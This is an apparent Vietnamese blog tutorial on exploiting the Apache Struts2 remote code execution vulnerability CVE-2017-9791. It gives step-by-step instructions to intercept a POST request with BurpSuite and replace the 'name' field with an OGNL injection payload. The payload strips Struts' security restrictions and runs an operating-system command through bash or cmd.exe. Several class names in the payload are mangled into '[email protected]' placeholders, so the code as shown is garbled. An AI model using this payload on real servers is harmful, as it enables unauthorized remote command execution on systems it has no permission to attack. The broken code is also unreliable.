Trong bài viết này mình sẽ hướng dẫn các bạn khai thác lỗ hổng remote code trong Apache Struts2. Thông tin về lỗ hổng CVE-2017-9791 , các ...
Trong bài viết này mình sẽ hướng dẫn các bạn khai thác lỗ hổng remote code trong Apache Struts2.
Thông tin về lỗ hổng CVE-2017-9791, các bạn có thể tham khảo tại đây.
Demo
Thông tin về lỗ hổng CVE-2017-9791, các bạn có thể tham khảo tại đây.
- Tìm kiếm struts1 intergeration trên hệ thống apache server.
- Truy cập vào đường dẫn, như hình dưới
- Sử dụng BurpSuite để chặn và thay đổi POST request
- Thay đổi giá trị name bằng payload
%{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm)(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@[email protected])).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@[email protected]('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@[email protected]().getOutputStream())).(@[email protected](#process.getInputStream(),#ros)).(#ros.flush())}
Demo
COMMENTS